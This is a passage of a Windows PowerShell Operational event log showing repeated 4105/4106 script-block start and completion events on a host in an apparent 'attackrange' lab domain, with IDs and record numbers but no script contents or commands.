Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032605
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032604
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032603
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032602
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032586
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032585
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032580
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032579
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
